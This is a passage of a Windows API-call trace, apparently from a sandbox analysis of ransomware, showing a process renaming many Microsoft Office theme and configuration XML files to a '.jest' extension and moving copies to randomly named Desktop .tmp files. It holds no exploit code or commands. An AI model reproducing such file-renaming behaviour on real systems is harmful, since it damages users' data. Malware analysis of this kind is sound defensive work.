lfxRmE7stfjmkU3Dvb4DrhFffo9NX8W3Oji3VjnihDb2JOK5ZHOYxVgAdlbzFUjgj7qCAVmIMqcxITNxQG_D.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ilzinvw-nrkhwi5 lfxrme7stfjmku3dvb4drhfffo9nx8w3oji3vjnihdb2jok5zhoyxvgadlbzfujgj7qcavmimqcxitnxqg_d.tmp")) returned 0 [0165.365] GetLastError () returned 0x2 [0165.365] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.369] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml.jest")) returned 1 [0165.371] VarBstrFromR4 (in: fltIn=0x47945784, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.03") returned 0x0 [0165.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\shT_ErZkPLbQ7v613tHwrF NmlHy3k5cQTsG2K3f_zTbJbpcB34U2R_3774o_iUJOeS3St8_qg_FzeQIML_qvubMmSftEoskvsP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sht_erzkplbq7v613thwrf nmlhy3k5cqtsg2k3f_ztbjbpcb34u2r_3774o_iujoes3st8_qg_fzeqiml_qvubmmsfteoskvsp.tmp")) returned 0 [0165.373] GetLastError () returned 0x2 [0165.373] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.375] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml.jest")) returned 1 [0165.378] VarBstrFromR4 (in: fltIn=0x47945784, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.03") returned 0x0 [0165.379] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eC2-dx_yM CQw _EUBrQ57I0ktGMQ5iPhM2h41_7y qdZrqgDxVQodEt427DcGDsqjvyrosEj0hwKgopfn9hHnxMH8xi028yz2wk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ec2-dx_ym cqw _eubrq57i0ktgmq5iphm2h41_7y qdzrqgdxvqodet427dcgdsqjvyrosej0hwkgopfn9hhnxmh8xi028yz2wk.tmp")) returned 0 [0165.379] GetLastError () returned 0x2 [0165.379] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.jest")) returned 1 [0165.392] VarBstrFromR4 (in: fltIn=0x47945786, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.05") returned 0x0 [0165.393] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kRqRSEUlzY1U DG_3hOr77lIC-RnOUHkzYpSizkmybgpIVlWB wZPx8gK6PMUioUnrwR2oc0ofrM6jO_HGz7V6mfqfeGIuNG0wIKo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\krqrseulzy1u dg_3hor77lic-rnouhkzypsizkmybgpivlwb wzpx8gk6pmuiounrwr2oc0ofrm6jo_hgz7v6mfqfegiung0wiko.tmp")) returned 0 [0165.393] GetLastError () returned 0x2 [0165.394] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.jest")) returned 1 [0165.397] VarBstrFromR4 (in: fltIn=0x47945786, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.05") returned 0x0 [0165.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oPDf8YUhutDn C4FeY2b1Y5T9TPIdP9S_diDH p3Q_2Q96dV2S6vtJ2tCeUds_niewfeTr4E RJiNVpK WUDHVyXrve738zyE_R.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\opdf8yuhutdn c4fey2b1y5t9tpidp9s_didh p3q_2q96dv2s6vtj2tceuds_niewfetr4e rjinvpk wudhvyxrve738zye_r.tmp")) returned 0 [0165.398] GetLastError () returned 0x2 [0165.399] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.399] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.jest")) returned 1 [0165.401] VarBstrFromR4 (in: fltIn=0x47945788, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.06") returned 0x0 [0165.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\koeV39l9segRyEysJ2p 8Och2p lYnujTaK1fG_x6Uc4wRhQ9yY9 H16n9GrCYz_ggEz5GMLWykkHap87owFVItrxoTlQr2XTDqI .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\koev39l9segryeysj2p 8och2p lynujtak1fg_x6uc4wrhq9yy9 h16n9grcyz_ggez5gmlwykkhap87owfvitrxotlqr2xtdqi .tmp")) returned 0 [0165.402] GetLastError () returned 0x2 [0165.402] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.403] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.jest")) returned 1 [0165.405] VarBstrFromR4 (in: fltIn=0x47945788, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.06") returned 0x0 [0165.405] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lj2b9UHMrdJh75HijJ8bR9yQp5xh09UKejg1KRQh64T80kK13xRLOuuJj0pWM7WEtLdgJMKeoV tVb78Cy8KWGRf_iqXHPH51xOds.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lj2b9uhmrdjh75hijj8br9yqp5xh09ukejg1krqh64t80kk13xrlouujj0pwm7wetldgjmkeov tvb78cy8kwgrf_iqxhph51xods.tmp")) returned 0 [0165.406] GetLastError () returned 0x2 [0165.406] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.406] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.jest")) returned 1 [0165.408] VarBstrFromR4 (in: fltIn=0x47945788, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.06") returned 0x0 [0165.409] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lDk63efNMeyWy8VzTXfQo1erRxL3809Vw-D5eLgGXS4xz5ZxVkcvvJt7gZRlBOkTxJ8fAUPTsAVC_ _CQf4VfKvz4TCDn_yl5IsN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ldk63efnmeywy8vztxfqo1errxl3809vw-d5elggxs4xz5zxvkcvvjt7gzrlboktxj8fauptsavc_ _cqf4vfkvz4tcdn_yl5isn.tmp")) returned 0 [0165.409] GetLastError () returned 0x2 [0165.409] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.410] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.jest")) returned 1 [0165.411] VarBstrFromR4 (in: fltIn=0x47945788, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.06") returned 0x0 [0165.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5kIUwMuiTXkVPM4weC6vKFPFE4fTR 7ZxM1OSqI8YvD_IFKlHubkUwQmVuIxPaC0M6tXwOhU-n7F-zlqhtu8GuQDjj6WV0fxzgTy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5kiuwmuitxkvpm4wec6vkfpfe4ftr 7zxm1osqi8yvd_ifklhubkuwqmvuixpac0m6txwohu-n7f-zlqhtu8guqdjj6wv0fxzgty.tmp")) returned 0 [0165.413] GetLastError () returned 0x2 [0165.413] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.413] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.jest")) returned 1 [0165.415] VarBstrFromR4 (in: fltIn=0x47945788, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.06") returned 0x0 [0165.416] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yEQRe6wjx_47Y-hT_vJg0vBdd7JsC9A5Hv_AC0JFIdcEr7G_56NVNxQK-XlvTpF9t0l-Ds67McONkejcCck_zBvD9pHMxolhhAJ2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yeqre6wjx_47y-ht_vjg0vbdd7jsc9a5hv_ac0jfidcer7g_56nvnxqk-xlvtpf9t0l-ds67mconkejccck_zbvd9phmxolhhaj2.tmp")) returned 0 [0165.416] GetLastError () returned 0x2 [0165.416] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.jest")) returned 1 [0165.420] VarBstrFromR4 (in: fltIn=0x4794578a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.08") returned 0x0 [0165.421] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b4ofyuwp5WjnpB00x4xVV-G9hWLGOzi0JSbiLhFgo_Od 3IQygJyhENi4JH40jdkDo1lHtZk6BX7qwJWIci4z5S0DHhKynMNj_3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b4ofyuwp5wjnpb00x4xvv-g9hwlgozi0jsbilhfgo_od 3iqygjyheni4jh40jdkdo1lhtzk6bx7qwjwici4z5s0dhhkynmnj_3.tmp")) returned 0 [0165.421] GetLastError () returned 0x2 [0165.421] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.jest")) returned 1 [0165.423] VarBstrFromR4 (in: fltIn=0x4794578a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.08") returned 0x0 [0165.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0W3Vj_Ku7CiFdu8_mbumYRq0hx-HEnfDjRWj9exeQNJgbeiI51AhJ0OjdgxOrpemMdBjC2yhZz6jufVDzl8setax-OP uSMfETr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0w3vj_ku7cifdu8_mbumyrq0hx-henfdjrwj9exeqnjgbeii51ahj0ojdgxorpemmdbjc2yhzz6jufvdzl8setax-op usmfetr.tmp")) returned 0 [0165.424] GetLastError () returned 0x2 [0165.425] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.jest")) returned 1 [0165.426] VarBstrFromR4 (in: fltIn=0x4794578a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.08") returned 0x0 [0165.427] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O0X_rxGsinDRcCnWHFXtXHYXn1cYcHiZsHzZufcMp eZoQQSku7Jm5qSMtLg499S dudkc0wB0izLOKM-itP_ABx5uLCG-XB Lgm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o0x_rxgsindrccnwhfxtxhyxn1cychizshzzufcmp ezoqqsku7jm5qsmtlg499s dudkc0wb0izlokm-itp_abx5ulcg-xb lgm.tmp")) returned 0 [0165.427] GetLastError () returned 0x2 [0165.427] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.jest")) returned 1 [0165.430] VarBstrFromR4 (in: fltIn=0x4794578a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.08") returned 0x0 [0165.430] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nAtc_97ggQZk-QzpleTEaapawOOzzoBIx6FW2xus916Sf_uFjySYzQ7dCAouG3pIC_MiVEXfvnnC5pvhYZDrrZtPystgjYY9ixQ6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\natc_97ggqzk-qzpleteaapawoozzobix6fw2xus916sf_ufjysyzq7dcaoug3pic_mivexfvnnc5pvhyzdrrztpystgjyy9ixq6.tmp")) returned 0 [0165.431] GetLastError () returned 0x2 [0165.431] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.jest")) returned 1 [0165.433] VarBstrFromR4 (in: fltIn=0x4794578c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.09") returned 0x0 [0165.434] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XcrotW7EjWx38eFyknvsSJBcCpNFwCz5rDe0Fui6B1IcxsixtI_uWJEZSIivRJNh7Uf 44yEIPwkL0fqL7tusGKSEDVirkI5wqK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xcrotw7ejwx38efyknvssjbccpnfwcz5rde0fui6b1icxsixti_uwjezsiivrjnh7uf 44yeipwkl0fql7tusgksedvirki5wqk.tmp")) returned 0 [0165.434] GetLastError () returned 0x2 [0165.435] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.jest")) returned 1 [0165.436] VarBstrFromR4 (in: fltIn=0x4794578c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.09") returned 0x0 [0165.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ Mz-ABNtPcq71dBbN9gVC 3nKZkHDW6_mdXB_g4UaKg0e-kMbZ2ppLo- 